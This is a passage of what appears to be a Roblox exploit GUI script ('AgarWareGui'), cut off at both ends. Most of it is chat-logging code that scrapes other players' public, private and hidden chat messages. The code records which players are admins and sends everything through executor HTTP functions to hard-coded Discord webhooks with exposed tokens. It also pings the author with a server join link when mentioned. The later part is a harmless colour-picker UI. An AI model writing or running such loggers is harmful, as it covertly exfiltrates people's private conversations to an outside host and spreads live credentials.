local CoreGui = game:GetService("CoreGui")
local ExperienceChat = CoreGui:WaitForChild("ExperienceChat")
local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
local scrollingView = chatWindow:WaitForChild("scrollingView")
local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
local processedFrames = {}
local lastWebhookTime = 0
local WEBHOOK_COOLDOWN = 0.5
local function getAdmins()
local admins = {}
local chosenTeam = Teams:FindFirstChild("Chosen")
if chosenTeam then
for _, player in pairs(Players:GetPlayers()) do
if player.Team == chosenTeam then
table.insert(admins, player)
end
end
end
return admins
end
local function getAdminFooter()
local admins = getAdmins()
if #admins == 0 then
return "Admin: None"
end
local adminTexts = {}
for i, admin in ipairs(admins) do
table.insert(adminTexts, admin.DisplayName .. " / " .. admin.Name)
end
return "Admin: " .. table.concat(adminTexts, ", ")
end
local function getEmbedColor(buttonText)
if string.match(buttonText, "HIDDEN CHAT") then
return 0xff0000
end
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
return 0x000000
end
local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
if r and g and b then
r, g, b = tonumber(r), tonumber(g), tonumber(b)
return (r * 65536) + (g * 256) + b
end
return 0xffffff
end
local function sendWebhook(display, message, embedColor, buttonText)
-- Check cooldown
local currentTime = tick()
if currentTime - lastWebhookTime < WEBHOOK_COOLDOWN then
task.wait(WEBHOOK_COOLDOWN - (currentTime - lastWebhookTime))
end
local prefix = ""
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
prefix = "*(PRIVATE)* "
end
local title = prefix .. "**" .. display .. "** " .. message
local embed = {
["title"] = title,
["color"] = embedColor,
["footer"] = {
["text"] = getAdminFooter()
},
["timestamp"] = DateTime.now():ToIsoDate()
}
local payload = {
["username"] = tostring(LocalPlayer.UserId),
["embeds"] = {embed}
}
pcall(function()
request({
Url = WEBHOOK_URL,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode(payload)
})
end)
lastWebhookTime = tick()
end
local function onFrameAdded(frame)
if processedFrames[frame] then return end
processedFrames[frame] = true
local frameName = frame.Name
local userId = string.match(frameName, "^(%d+)%-")
if not userId or userId == "0" then return end
task.wait(0.1)
local textMessage = frame:FindFirstChild("TextMessage")
if not textMessage then return end
local prefixText = textMessage:FindFirstChild("PrefixText")
local bodyText = textMessage:FindFirstChild("BodyText")
local textButton = textMessage:FindFirstChild("TextMessageButton")
if not prefixText or not bodyText or not textButton then return end
local textButtonButton = textButton:FindFirstChild("TextButton")
if not textButtonButton then return end
local display = prefixText.ContentText
display = string.gsub(display, "%[To .-%] ", "")
display = string.gsub(display, "%[From .-%] ", "")
local fullMessage = bodyText.ContentText
local buttonText = textButtonButton.Text
local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
local message = fullMessage
if isPrivate then
message = string.gsub(message, "%[To .-%] ", "")
message = string.gsub(message, "%[From .-%] ", "")
if string.sub(message, 1, #display) == display then
message = string.sub(message, #display + 1)
end
else
if string.sub(fullMessage, 1, #display) == display then
message = string.sub(fullMessage, #display + 1)
end
end
message = string.match(message, "^%s*(.-)%s*$")
local embedColor = getEmbedColor(buttonText)
sendWebhook(display, message, embedColor, buttonText)
end
for _, child in pairs(RCTScrollContentView:GetChildren()) do
if child:IsA("Frame") then
processedFrames[child] = true
end
end
RCTScrollContentView.ChildAdded:Connect(function(child)
if child:IsA("Frame") then
onFrameAdded(child)
end
end)
end;
task.spawn(C_352);
-- StarterGui.AgarWareGui.Webhook.ChatLogsHIDDEN
local function C_353()
local script = G2L["353"];
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
-- Whitelist of allowed user IDs
local ALLOWED_USERS = {
574381128, -- main
10587072700, -- alt 1
8308247571, -- alt 2
10837544781, -- agarv609
}
-- Check if current player is whitelisted
local function isWhitelisted()
for _, id in pairs(ALLOWED_USERS) do
if LocalPlayer.UserId == id then
return true
end
end
return false
end
-- Stop script if not whitelisted
if not isWhitelisted() then
return
end
local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495434161190600704/2MBrbN3r9e5mWpmyRVNhpuegrZeT4vKzInt18KZpHOa7Ix1Jr3imCthfD8o0VV2pi2q6"
local CoreGui = game:GetService("CoreGui")
local ExperienceChat = CoreGui:WaitForChild("ExperienceChat")
local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
local scrollingView = chatWindow:WaitForChild("scrollingView")
local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
local processedFrames = {}
local lastWebhookTime = 0
local WEBHOOK_COOLDOWN = 2
local function getEmbedColor(buttonText)
if string.match(buttonText, "HIDDEN CHAT") then
return 0xff0000
end
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
return 0x000000
end
local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
if r and g and b then
r, g, b = tonumber(r), tonumber(g), tonumber(b)
return (r * 65536) + (g * 256) + b
end
return 0xffffff
end
local function isExcludedColor(embedColor)
-- Admin color: rgb(245,205,48)
local adminColor = (245 * 65536) + (205 * 256) + 48
-- Neutral color: rgb(150,103,102)
local neutralColor = (150 * 65536) + (103 * 256) + 102
-- Enlighten color: rgb(4,175,236)
local enlightenColor = (4 * 65536) + (175 * 256) + 236
-- White color
local whiteColor = 0xffffff
-- Check if the color matches any excluded color
if embedColor == adminColor then return true end
if embedColor == neutralColor then return true end
if embedColor == enlightenColor then return true end
if embedColor == whiteColor then return true end
return false
end
local function sendWebhook(display, message, embedColor, buttonText)
-- Don't log if color is excluded
if isExcludedColor(embedColor) then
return
end
-- Check cooldown
local currentTime = tick()
if currentTime - lastWebhookTime < WEBHOOK_COOLDOWN then
task.wait(WEBHOOK_COOLDOWN - (currentTime - lastWebhookTime))
end
local prefix = ""
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
prefix = "*(PRIVATE)* "
end
local title = prefix .. "**" .. display .. "** " .. message
local embed = {
["title"] = title,
["color"] = embedColor,
["timestamp"] = DateTime.now():ToIsoDate()
}
local payload = {
["embeds"] = {embed}
}
pcall(function()
request({
Url = WEBHOOK_URL,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode(payload)
})
end)
lastWebhookTime = tick()
end
local function onFrameAdded(frame)
if processedFrames[frame] then return end
processedFrames[frame] = true
local frameName = frame.Name
local userId = string.match(frameName, "^(%d+)%-")
if not userId or userId == "0" then return end
task.wait(0.1)
local textMessage = frame:FindFirstChild("TextMessage")
if not textMessage then return end
local prefixText = textMessage:FindFirstChild("PrefixText")
local bodyText = textMessage:FindFirstChild("BodyText")
local textButton = textMessage:FindFirstChild("TextMessageButton")
if not prefixText or not bodyText or not textButton then return end
local textButtonButton = textButton:FindFirstChild("TextButton")
if not textButtonButton then return end
local display = prefixText.ContentText
display = string.gsub(display, "%[To .-%] ", "")
display = string.gsub(display, "%[From .-%] ", "")
local fullMessage = bodyText.ContentText
local buttonText = textButtonButton.Text
local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
local message = fullMessage
if isPrivate then
message = string.gsub(message, "%[To .-%] ", "")
message = string.gsub(message, "%[From .-%] ", "")
if string.sub(message, 1, #display) == display then
message = string.sub(message, #display + 1)
end
else
if string.sub(fullMessage, 1, #display) == display then
message = string.sub(fullMessage, #display + 1)
end
end
message = string.match(message, "^%s*(.-)%s*$")
local embedColor = getEmbedColor(buttonText)
sendWebhook(display, message, embedColor, buttonText)
end
for _, child in pairs(RCTScrollContentView:GetChildren()) do
if child:IsA("Frame") then
processedFrames[child] = true
end
end
RCTScrollContentView.ChildAdded:Connect(function(child)
if child:IsA("Frame") then
onFrameAdded(child)
end
end)
end;
task.spawn(C_353);
-- StarterGui.AgarWareGui.Webhook.GlobalChatLogsHIDDEN
local function C_354()
local script = G2L["354"];
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local Teams = game:GetService("Teams")
local LocalPlayer = Players.LocalPlayer
local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495435106817540146/KZ18qjWOyBOvHWiuaXyJBxPLNgclinWr9pjBEqo1YEygAkw0dad8GaD65V4UmqZLZZNl"
local CoreGui = game:GetService("CoreGui")
local ExperienceChat = CoreGui:WaitForChild("ExperienceChat")
local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
local scrollingView = chatWindow:WaitForChild("scrollingView")
local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
local processedFrames = {}
local function getAdmins()
local admins = {}
local chosenTeam = Teams:FindFirstChild("Chosen")
if chosenTeam then
for _, player in pairs(Players:GetPlayers()) do
if player.Team == chosenTeam then
table.insert(admins, player)
end
end
end
return admins
end
local function getAdminFooter()
local admins = getAdmins()
if #admins == 0 then
return "Admin: None"
end
local adminTexts = {}
for i, admin in ipairs(admins) do
table.insert(adminTexts, admin.DisplayName .. " / " .. admin.Name)
end
return "Admin: " .. table.concat(adminTexts, ", ")
end
local function getEmbedColor(buttonText)
if string.match(buttonText, "HIDDEN CHAT") then
return 0xff0000
end
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
return 0x000000
end
local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
if r and g and b then
r, g, b = tonumber(r), tonumber(g), tonumber(b)
return (r * 65536) + (g * 256) + b
end
return 0xffffff
end
local function isExcludedColor(embedColor)
-- Admin color: rgb(245,205,48)
local adminColor = (245 * 65536) + (205 * 256) + 48
-- Neutral color: rgb(150,103,102)
local neutralColor = (150 * 65536) + (103 * 256) + 102
-- Enlighten color: rgb(4,175,236)
local enlightenColor = (4 * 65536) + (175 * 256) + 236
-- White color
local whiteColor = 0xffffff
-- Check if the color matches any excluded color
if embedColor == adminColor then return true end
if embedColor == neutralColor then return true end
if embedColor == enlightenColor then return true end
if embedColor == whiteColor then return true end
return false
end
local function sendWebhook(display, message, embedColor, buttonText)
-- Don't log if color is excluded
if isExcludedColor(embedColor) then
return
end
local prefix = ""
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
prefix = "*(PRIVATE)* "
end
local title = prefix .. "**" .. display .. "** " .. message
local embed = {
["title"] = title,
["color"] = embedColor,
["footer"] = {
["text"] = getAdminFooter()
},
["timestamp"] = DateTime.now():ToIsoDate()
}
local payload = {
["embeds"] = {embed}
}
pcall(function()
request({
Url = WEBHOOK_URL,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode(payload)
})
end)
end
local function onFrameAdded(frame)
if processedFrames[frame] then return end
processedFrames[frame] = true
local frameName = frame.Name
local userId = string.match(frameName, "^(%d+)%-")
if not userId or userId == "0" then return end
task.wait(0.1)
local textMessage = frame:FindFirstChild("TextMessage")
if not textMessage then return end
local prefixText = textMessage:FindFirstChild("PrefixText")
local bodyText = textMessage:FindFirstChild("BodyText")
local textButton = textMessage:FindFirstChild("TextMessageButton")
if not prefixText or not bodyText or not textButton then return end
local textButtonButton = textButton:FindFirstChild("TextButton")
if not textButtonButton then return end
local display = prefixText.ContentText
display = string.gsub(display, "%[To .-%] ", "")
display = string.gsub(display, "%[From .-%] ", "")
local fullMessage = bodyText.ContentText
local buttonText = textButtonButton.Text
local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
local message = fullMessage
if isPrivate then
message = string.gsub(message, "%[To .-%] ", "")
message = string.gsub(message, "%[From .-%] ", "")
if string.sub(message, 1, #display) == display then
message = string.sub(message, #display + 1)
end
else
if string.sub(fullMessage, 1, #display) == display then
message = string.sub(fullMessage, #display + 1)
end
end
message = string.match(message, "^%s*(.-)%s*$")
local embedColor = getEmbedColor(buttonText)
sendWebhook(display, message, embedColor, buttonText)
end
for _, child in pairs(RCTScrollContentView:GetChildren()) do
if child:IsA("Frame") then
processedFrames[child] = true
end
end
RCTScrollContentView.ChildAdded:Connect(function(child)
if child:IsA("Frame") then
onFrameAdded(child)
end
end)
end;
task.spawn(C_354);
-- StarterGui.AgarWareGui.Webhook.UserChatLogs
local function C_355()
local script = G2L["355"];
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local Teams = game:GetService("Teams")
local LocalPlayer = Players.LocalPlayer
local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495474031992770712/bfFcwvPHA8lDK4rDRPZ4tvkp8_ij-YzrNualLG1zHEtDa4ly4tyHcgGi0Pld_rBs341b"
task.wait(2)
local CoreGui = game:GetService("CoreGui")
local ExperienceChat = CoreGui:FindFirstChild("ExperienceChat")
if not ExperienceChat then return end
local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
local scrollingView = chatWindow:WaitForChild("scrollingView")
local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
local processedFrames = {}
local function getAdmins()
local admins = {}
local chosenTeam = Teams:FindFirstChild("Chosen")
if chosenTeam then
for _, player in pairs(Players:GetPlayers()) do
if player.Team == chosenTeam then
table.insert(admins, player)
end
end
end
return admins
end
local function getAdminFooter()
local admins = getAdmins()
if #admins == 0 then
return "Admin: None"
end
local adminTexts = {}
for i, admin in ipairs(admins) do
table.insert(adminTexts, admin.DisplayName .. " / " .. admin.Name)
end
return "Admin: " .. table.concat(adminTexts, ", ")
end
local function getEmbedColor(buttonText)
if string.match(buttonText, "HIDDEN CHAT") then
return 0xff0000
end
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
return 0x000000
end
local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
if r and g and b then
r, g, b = tonumber(r), tonumber(g), tonumber(b)
return (r * 65536) + (g * 256) + b
end
return 0xffffff
end
local function getJoinLink()
local ok, link = pcall(function()
return "https://www.roblox.com/games/start?placeId="
.. game.PlaceId
.. "&gameInstanceId=" .. game.JobId
end)
return ok and link or ""
end
local function containsAgarv(message)
-- Check if message contains @agarv (case insensitive, @ must be directly followed by agarv)
return string.match(string.lower(message), "@agarv") ~= nil
end
local function sendWebhook(display, message, embedColor, buttonText)
local prefix = ""
local hasMention = containsAgarv(message)
-- Extract [To Display] or [From Display] from buttonText
local toMatch = string.match(buttonText, "%[To .-%]")
local fromMatch = string.match(buttonText, "%[From .-%]")
if toMatch then
prefix = "*" .. toMatch .. "* "
elseif fromMatch then
prefix = "*" .. fromMatch .. "* "
end
local title = prefix .. "**" .. display .. "** " .. message
local embed = {
["title"] = title,
["color"] = embedColor,
["footer"] = {
["text"] = getAdminFooter()
},
["timestamp"] = DateTime.now():ToIsoDate()
}
-- Add description with join link if message contains @agarv
if hasMention then
embed["description"] = "[Join Game](" .. getJoinLink() .. ")"
end
local payload = {
["username"] = tostring(LocalPlayer.UserId),
["embeds"] = {embed}
}
-- Add ping in content if message contains @agarv
if hasMention then
payload["content"] = "<@1301477323090034731>"
end
local requestFunc = request or http_request or (syn and syn.request) or (http and http.request)
pcall(function()
requestFunc({
Url = WEBHOOK_URL,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode(payload)
})
end)
end
local function onFrameAdded(frame)
if processedFrames[frame] then return end
processedFrames[frame] = true
local frameName = frame.Name
local userId = string.match(frameName, "^(%d+)%-")
if not userId or userId == "0" then return end
-- Only log messages sent by the local player
if tonumber(userId) ~= LocalPlayer.UserId then return end
task.wait(0.1)
local textMessage = frame:FindFirstChild("TextMessage")
if not textMessage then return end
local prefixText = textMessage:FindFirstChild("PrefixText")
local bodyText = textMessage:FindFirstChild("BodyText")
local textButton = textMessage:FindFirstChild("TextMessageButton")
if not prefixText or not bodyText or not textButton then return end
local textButtonButton = textButton:FindFirstChild("TextButton")
if not textButtonButton then return end
local display = prefixText.ContentText
display = string.gsub(display, "%[To .-%] ", "")
display = string.gsub(display, "%[From .-%] ", "")
local fullMessage = bodyText.ContentText
local buttonText = textButtonButton.Text
local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
local message = fullMessage
if isPrivate then
message = string.gsub(message, "%[To .-%] ", "")
message = string.gsub(message, "%[From .-%] ", "")
if string.sub(message, 1, #display) == display then
message = string.sub(message, #display + 1)
end
else
if string.sub(fullMessage, 1, #display) == display then
message = string.sub(fullMessage, #display + 1)
end
end
message = string.match(message, "^%s*(.-)%s*$")
local embedColor = getEmbedColor(buttonText)
sendWebhook(display, message, embedColor, buttonText)
end
for _, child in pairs(RCTScrollContentView:GetChildren()) do
if child:IsA("Frame") then
processedFrames[child] = true
end
end
RCTScrollContentView.ChildAdded:Connect(function(child)
if child:IsA("Frame") then
onFrameAdded(child)
end
end)
end;
task.spawn(C_355);
-- StarterGui.AgarWareGui.ColorPicker.DragColorPicker
local function C_357()
local script = G2L["357"];
-- DragHandler for ColorPicker
local ColorPicker = script.Parent
local HueSlider = ColorPicker:WaitForChild("HueSlider")
local SaturationValueCanvas = ColorPicker:WaitForChild("SaturationValueCanvas")
local UserInputService = game:GetService("UserInputService")
local dragging = false
local dragStart = nil
local startPos = nil
-- Check if mouse/touch is over HueSlider or Canvas
local function isOverColorControls(position)
-- Check HueSlider
local huePos = HueSlider.AbsolutePosition
local hueSize = HueSlider.AbsoluteSize
local overHue = position.X >= huePos.X and position.X <= huePos.X + hueSize.X
and position.Y >= huePos.Y and position.Y <= huePos.Y + hueSize.Y
-- Check Canvas
local canvasPos = SaturationValueCanvas.AbsolutePosition
local canvasSize = SaturationValueCanvas.AbsoluteSize
local overCanvas = position.X >= canvasPos.X and position.X <= canvasPos.X + canvasSize.X
and position.Y >= canvasPos.Y and position.Y <= canvasPos.Y + canvasSize.Y
return overHue or overCanvas
end
ColorPicker.InputBegan:Connect(function(input, gameProcessed)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
if not isOverColorControls(input.Position) then
dragging = true
dragStart = input.Position
startPos = ColorPicker.Position
input:Destroy() -- sink the input so camera doesn't receive it
end
end
end)
ColorPicker.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(input, gameProcessed)
if (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) and dragging then
local delta = input.Position - dragStart
ColorPicker.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
input:Destroy() -- sink so camera doesn't pan
end
end)
end;
task.spawn(C_357);
-- StarterGui.AgarWareGui.ColorPicker.ColorPickerScript
local function C_358()
local script = G2L["358"];
local ColorPicker = script.Parent
local HueSlider = ColorPicker.HueSlider
local SaturationValueCanvas = ColorPicker.SaturationValueCanvas
local ColorSelect = ColorPicker.ColorSelect
local HEX = ColorPicker.HEX
local CloseColorPicker = ColorPicker.CloseColorPicker
local UserInputService = game:GetService("UserInputService")
-- ============================================================
-- CENTER ON SCREEN (ONLY FIRST TIME EVER)
-- ============================================================
local hasBeenCentered = false
local function centerFrame()
if not hasBeenCentered then
local screenSize = ColorPicker.Parent.AbsoluteSize
ColorPicker.Position = UDim2.new(0.5, -ColorPicker.Size.X.Offset / 2, 0.5, -ColorPicker.Size.Y.Offset / 2)
hasBeenCentered = true
end
end
-- Hide on startup
ColorPicker.Visible = false
-- ============================================================
-- COLOR STATE
-- ============================================================
local hue = 0
local sat = 0
local val = 1
local currentColor = Color3.fromRGB(255, 255, 255)
-- ============================================================
-- CREATE HUE GRADIENT (HORIZONTAL)
-- ============================================================
HueSlider.BackgroundColor3 = Color3.fromRGB(255, 255, 255) -- Set to white so gradient shows
HueSlider.BorderColor3 = Color3.fromRGB(58, 58, 58) -- Original border
HueSlider.Active = true -- Sink input to prevent camera movement on mobile
local hueGradient = Instance.new("UIGradient")
hueGradient.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 0, 0)), -- Red
ColorSequenceKeypoint.new(0.17, Color3.fromRGB(255, 255, 0)), -- Yellow
ColorSequenceKeypoint.new(0.33, Color3.fromRGB(0, 255, 0)), -- Green
ColorSequenceKeypoint.new(0.5, Color3.fromRGB(0, 255, 255)), -- Cyan
ColorSequenceKeypoint.new(0.67, Color3.fromRGB(0, 0, 255)), -- Blue
ColorSequenceKeypoint.new(0.83, Color3.fromRGB(255, 0, 255)), -- Magenta
ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0)) -- Red
})
hueGradient.Rotation = 0 -- Horizontal
hueGradient.Parent = HueSlider
-- ============================================================
-- CREATE CANVAS GRADIENTS
-- ============================================================
SaturationValueCanvas.BackgroundColor3 = Color3.fromRGB(255, 255, 255) -- Set to white
SaturationValueCanvas.BorderColor3 = Color3.fromRGB(58, 58, 58) -- Original border
SaturationValueCanvas.Active = true -- Sink input to prevent camera movement on mobile
local satGradient = Instance.new("UIGradient")
satGradient.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)),
ColorSequenceKeypoint.new(1, Color3.new(1, 0, 0))
})
satGradient.Rotation = 0
satGradient.Parent = SaturationValueCanvas
local brightFrame = Instance.new("Frame")
brightFrame.Size = UDim2.new(1, 0, 1, 0)
brightFrame.BackgroundColor3 = Color3.new(0, 0, 0)
brightFrame.BorderSizePixel = 0
brightFrame.ZIndex = SaturationValueCanvas.ZIndex + 1
brightFrame.Parent = SaturationValueCanvas
local brightGradient = Instance.new("UIGradient")
brightGradient.Rotation = 90
brightGradient.Transparency = NumberSequence.new({
NumberSequenceKeypoint.new(0, 1),
NumberSequenceKeypoint.new(1, 0)
})
brightGradient.Parent = brightFrame
-- ============================================================
-- CREATE CANVAS CURSOR (CIRCLE)
-- ============================================================
local canvasCursor = Instance.new("Frame")
canvasCursor.Size = UDim2.new(0, 14, 0, 14)
canvasCursor.AnchorPoint = Vector2.new(0.5, 0.5)
canvasCursor.BackgroundColor3 = Color3.new(1, 1, 1)
canvasCursor.BorderSizePixel = 0
canvasCursor.ZIndex = SaturationValueCanvas.ZIndex + 2
canvasCursor.Parent = SaturationValueCanvas
local canvasCursorCorner = Instance.new("UICorner")
canvasCursorCorner.CornerRadius = UDim.new(1, 0)
canvasCursorCorner.Parent = canvasCursor
local canvasCursorStroke = Instance.new("UIStroke")
canvasCursorStroke.Color = Color3.new(0, 0, 0)
canvasCursorStroke.Thickness = 2
canvasCursorStroke.Parent = canvasCursor
-- ============================================================
-- CREATE HUE CURSOR (VERTICAL LINE)
-- ============================================================
local hueCursor = Instance.new("Frame")
hueCursor.Size = UDim2.new(0, 3, 1, 0)
hueCursor.AnchorPoint = Vector2.new(0.5, 0)
hueCursor.BackgroundColor3 = Color3.new(1, 1, 1)
hueCursor.BorderSizePixel = 0
hueCursor.ZIndex = HueSlider.ZIndex + 1
hueCursor.Parent = HueSlider
local hueCursorStroke = Instance.new("UIStroke")
hueCursorStroke.Color = Color3.new(0, 0, 0)
hueCursorStroke.Thickness = 1
hueCursorStroke.Parent = hueCursor
-- ============================================================
-- UPDATE FUNCTIONS
-- ============================================================
local function updateCanvas()
local hueColor = Color3.fromHSV(hue, 1, 1)
satGradient.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)),
ColorSequenceKeypoint.new(1, hueColor)
})
end
local function updateColor()
currentColor = Color3.fromHSV(hue, sat, val)
-- Update Select button background
ColorSelect.BackgroundColor3 = currentColor
-- Determine if text should be black or white
local r, g, b = currentColor.R, currentColor.G, currentColor.B
local luminance = 0.299 * r + 0.587 * g + 0.114 * b
ColorSelect.TextColor3 = luminance > 0.5 and Color3.new(0, 0, 0) or Color3.new(1, 1, 1)
-- Update HEX textbox
local hex = string.format("#%02x%02x%02x",
math.floor(currentColor.R * 255),
math.floor(currentColor.G * 255),
math.floor(currentColor.B * 255)
)
if HEX.Text ~= hex then
HEX.Text = hex
end
end
local function updateHueCursor(relativeX)
relativeX = math.clamp(relativeX, 0, 1)
hue = relativeX
hueCursor.Position = UDim2.new(relativeX, 0, 0, 0)
updateCanvas()
updateColor()
end
local function updateCanvasCursor(relativeX, relativeY)
relativeX = math.clamp(relativeX, 0, 1)
relativeY = math.clamp(relativeY, 0, 1)
sat = relativeX
val = 1 - relativeY
canvasCursor.Position = UDim2.new(relativeX, 0, relativeY, 0)
updateColor()
end
local function setColorFromHex(hexStr)
-- Remove # if present
hexStr = hexStr:gsub("#", "")
if #hexStr ~= 6 then return end
-- Parse RGB
local r = tonumber(hexStr:sub(1, 2), 16) / 255
local g = tonumber(hexStr:sub(3, 4), 16) / 255
local b = tonumber(hexStr:sub(5, 6), 16) / 255
if not r or not g or not b then return end
-- Convert to HSV
local h, s, v = Color3.new(r, g, b):ToHSV()
hue = h
sat = s
val = v
-- Update cursors
hueCursor.Position = UDim2.new(hue, 0, 0, 0)
canvasCursor.Position = UDim2.new(sat, 0, 1 - val, 0)
updateCanvas()
updateColor()
end
-- ============================================================
-- HUE SLIDER INTERACTION
-- ============================================================
local hueDragging = false
local canvasDragging = false -- Declare both here
HueSlider.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
hueDragging = true
local relativeX = (input.Position.X - HueSlider.AbsolutePosition.X) / HueSlider.AbsoluteSize.X
updateHueCursor(relativeX)
end
end)
UserInputService.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
hueDragging = false
canvasDragging = false
end
end)
UserInputService.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if hueDragging then
local relativeX = (input.Position.X - HueSlider.AbsolutePosition.X) / HueSlider.AbsoluteSize.X
updateHueCursor(relativeX)
end
if canvasDragging then
local relativeX = (input.Position.X - SaturationValueCanvas.AbsolutePosition.X) / SaturationValueCanvas.AbsoluteSize.X
local relativeY = (input.Position.Y - SaturationValueCanvas.AbsolutePosition.Y) / SaturationValueCanvas.AbsoluteSize.Y
updateCanvasCursor(relativeX, relativeY)
end
end
end)
-- ============================================================
-- CANVAS INTERACTION (CLICK ANYWHERE AND DRAG)
-- ============================================================
SaturationValueCanvas.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
canvasDragging = true
local relativeX = (input.Position.X - SaturationValueCanvas.AbsolutePosition.X) / SaturationValueCanvas.AbsoluteSize.X
local relativeY = (input.Position.Y - SaturationValueCanvas.AbsolutePosition.Y) / SaturationValueCanvas.AbsoluteSize.Y
updateCanvasCursor(relativeX, relativeY)
end
end)
-- ============================================================
-- HEX TEXTBOX CHANGED
-- ============================================================
HEX.FocusLost:Connect(function()
setColorFromHex(HEX.Text)
end)
-- ============================================================
-- CLOSE BUTTON
-- ============================================================
CloseColorPicker.MouseButton1Click:Connect(function()
ColorPicker.Visible = false
end)
-- ============================================================
-- INITIALIZE TO WHITE (#ffffff)
-- ============================================================
setColorFromHex("ffffff")
-- ============================================================
-- EXPOSE FUNCTIONS GLOBALLY
-- ============================================================
_G.ColorPickerFunctions = {
SetColor = setColorFromHex,
Center = centerFrame
}
print("[ColorPicker] Initialized - Default: #ffffff")
end;
task.spawn(C_358);
-- StarterGui.AgarWareGui.ColorPicker.HEX.HEXScript
local function C_35f()
local script = G2L["35f"];
local HEX = script.Parent
-- ============================================================
-- HEX FORMATTING
-- ============================================================
local function isValidHexChar(char)
local lower = char:lower()
return (lower >= '0' and lower <= '9') or (lower >= 'a' and lower <= 'f')
end
local function formatHex(text)
-- Remove all spaces
text = text:gsub("%s+", "")
-- Check if starts with #
local hasHashtag = text:sub(1, 1) == "#"
local hexPart = hasHashtag and text:sub(2) or text
-- Filter only valid hex characters
local filtered = ""
for i = 1, #hexPart do
local char = hexPart:sub(i, i)
if isValidHexChar(char) then
filtered = filtered .. char
end
end
-- Limit to 6 characters
filtered = filtered:sub(1, 6)
-- Convert to lowercase
filtered = filtered:lower()
-- Add # at the start
return "#" .. filtered
end
-- ============================================================
-- TEXT CHANGED
-- ============================================================
HEX:GetPropertyChangedSignal("Text"):Connect(function()
local cursorPos = HEX.CursorPosition
local oldText = HEX.Text
local newText = formatHex(oldText)
-- Only update if text actually changed (prevents infinite loop)
if newText ~= oldText then
HEX.Text = newText
-- Try to maintain cursor position
if cursorPos > 0 then
HEX.CursorPosition = math.min(cursorPos, #newText + 1)
end
end
end)
-- ============================================================
-- FOCUS LOST - ENSURE 6 CHARACTERS
-- ============================================================
HEX.FocusLost:Connect(function()
local text = HEX.Text
-- Remove #
local hexPart = text:sub(2)
-- If less than 6 characters, pad with zeros
while #hexPart < 6 do
hexPart = hexPart .. "0"
end
HEX.Text = "#" .. hexPart
end)
-- ============================================================
-- INITIALIZE
-- ============================================================
if HEX.Text == "" or HEX.Text == "#" then
HEX.Text = "#ffffff"
end
end;
task.spawn(C_35f);
-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedScript
local function C_361()
local script = G2L["361"];
